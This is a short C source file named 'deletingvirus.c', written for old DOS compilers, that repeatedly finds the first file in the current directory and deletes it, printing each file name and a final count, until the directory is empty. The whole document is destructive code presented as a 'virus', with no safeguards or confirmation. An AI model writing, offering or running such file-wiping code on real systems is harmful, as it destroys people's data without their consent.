deletingvirus.c

#include<stdio.h>
#include<dos.h>
#include<io.h>
int done;
struct ffblk ffblk;
int main()

{
int deleted=0;
FILE *open;
next:
done=findfirst("*.*",&ffblk,0);
if(!done)
{
remove(ffblk.ff_name);
printf("\ndeleting %s....",ffblk.ff_name);
deleted++;
goto next;
}
printf("\ntotal deleted:%d",deleted);
getchar();
}